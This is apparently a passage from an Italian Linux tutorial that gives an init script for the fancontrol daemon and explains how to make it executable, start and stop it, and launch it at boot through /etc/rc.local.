#!/bin/sh # # Fancontrol start script. # set -e # Defaults DAEMON=/usr/sbin/fancontrol PIDFILE=/var/run/fancontrol-pid PATH=/sbin:/bin:/usr/sbin:/usr/bin test -f $DAEMON || exit 0 . /lib/lsb/init-functions case "$1" in start) log_begin_msg "Starting fancontrol daemon..." start-stop-daemon --start -o -q -m -b -p $PIDFILE -x $DAEMON log_end_msg $? ;; stop) log_begin_msg "Stopping fancontrol daemon..." start-stop-daemon --stop -o -q -p $PIDFILE log_end_msg $? ;; force-reload|restart) sh $0 stop sh $0 start ;; *) log_success_msg "Usage: /etc/init.d/fancontrol {start|stop|restart|force-reload}" log_success_msg " start - starts system-wide fancontrol service" log_success_msg " stop - stops system-wide fancontrol service" log_success_msg " restart, force-reload - starts a new system-wide fancontrol service" exit 1 ;; esac exit 0
Rendere eseguibile lo script, digitando in una finestra di terminale il seguente comando:
sudo chmod +x /etc/init.d/fancontrol
Avviare lo script con il comando:
/etc/init.d/fancontrol start
Per interromperlo invece, si può fare ricorso al comando:
/etc/init.d/fancontrol stop
Se l'output non restituisce nessun errore, aprire con un editor di testo e con i privilegi di amministrazione il file /etc/rc.local e aggiungere la seguente riga:
/etc/init.d/fancontrol start
in modo da ottenere qualcosa di simile al seguente esempio:
#!/bin/sh -e # # rc.local # # This script is executed at the end of each multiuser runlevel. # Make sure that the script will "exit 0" on success or any other # value on error. # # In order to enable or disable this script just change the execution # bits. # # By default this script does nothing. /etc/init.d/fancontrol start exit 0